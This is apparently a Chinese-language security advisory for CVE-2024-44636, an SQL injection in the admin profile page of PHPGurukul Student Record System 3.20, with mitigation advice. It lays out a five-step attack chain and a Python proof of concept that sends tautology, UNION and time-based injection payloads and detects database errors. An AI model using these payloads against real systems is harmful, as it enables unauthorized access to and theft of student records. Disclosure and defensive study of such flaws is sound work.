IPBUF安全漏洞报告
English
CVE-2024-44636 CVSS 6.5 中危

CVE-2024-44636 PHPGurukul学生记录系统SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-44636
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Student Record System 3.20

相关标签

SQL注入PHPGurukul学生记录系统CVE-2024-44636Web安全数据库漏洞认证绕过中等严重性

漏洞概述

CVE-2024-44636是PHPGurukul学生记录系统3.20版本中存在的一个中等严重性安全漏洞。该漏洞位于admin-profile.php文件中的adminname和aemailid参数,攻击者可以通过构造恶意的SQL语句实现未授权的数据库操作。PHPGurukul Student Record System是一款用于管理学生信息的Web应用程序,广泛应用于教育机构。由于该漏洞无需认证即可利用(PR:N),且CVSS评分为6.5,攻击者可利用此漏洞获取数据库中的敏感信息,包括学生个人信息、教师数据、成绩记录等。攻击者还可能通过SQL注入进一步进行数据篡改或破坏,甚至在某些配置下可能实现远程代码执行。该漏洞的存在严重威胁到使用该系统的教育机构的数据安全与隐私保护。

技术细节

该SQL注入漏洞存在于/admin-profile.php页面的adminname和aemailid参数中。攻击者可以通过在HTTP请求中注入SQL语句来操纵后端数据库查询。由于系统未对用户输入进行充分的参数化查询或输入验证,恶意SQL代码会被直接拼接到数据库查询语句中执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术提取数据库中的敏感信息。攻击路径为:通过HTTP GET/POST请求向/admin-profile.php发送带有SQL注入payload的参数,例如adminname参数可使用单引号触发SQL错误,或使用UNION注入提取数据库信息。由于漏洞位于管理员资料页面,且在某些情况下可能影响会话管理,攻击者甚至可能通过此漏洞获取管理员权限。CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N),对机密性和完整性都有一定影响(C:L/I:L)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的PHPGurukul学生记录系统版本为3.20,并定位到存在漏洞的/admin-profile.php页面
STEP 2
步骤2: 漏洞探测
攻击者向adminname或aemailid参数发送带有单引号的测试payload,触发SQL错误以确认漏洞存在
STEP 3
步骤3: 数据提取
利用UNION注入或盲注技术逐步提取数据库中的敏感信息,包括用户表、密码哈希、学生数据等
STEP 4
步骤4: 权限提升
如果提取到管理员凭证,攻击者可能登录管理后台获取更高权限,甚至可能通过写入文件实现远程代码执行
STEP 5
步骤5: 持久化控制
在数据库中植入后门或修改现有数据,建立持久化访问通道以便后续入侵活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2024-44636 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Endpoint: /admin-profile.php # Vulnerable Parameter: adminname, aemailid target_url = "http://target.com/admin-profile.php" # SQL Injection payloads payloads = [ "admin' OR '1'='1", "admin' UNION SELECT NULL--", "admin' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] def test_sql_injection(): print("Testing CVE-2024-44636 SQL Injection...") for payload in payloads: # Test adminname parameter params = { 'adminname': payload, 'aemailid': '[email protected]' } try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error indicators sql_errors = [ 'MySQL', 'SQL syntax', 'mysql_fetch', 'Warning', 'mysql_num_rows', 'SQLite', 'PostgreSQL', 'ORA-', 'Microsoft SQL' ] for error in sql_errors: if error in response.text: print(f"[+] Vulnerable! Payload: {payload}") print(f"[+] Error detected: {error}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": test_sql_injection()

影响范围

PHPGurukul Student Record System 3.20

防御指南

临时缓解措施
立即停止使用存在漏洞的PHPGurukul学生记录系统3.20版本,或在admin-profile.php页面中对adminname和aemailid参数实施严格的输入验证,使用参数化查询进行数据库操作。在修复前,可通过Web应用防火墙暂时阻断对/admin-profile.php的访问,或限制该页面的网络访问权限。建议尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表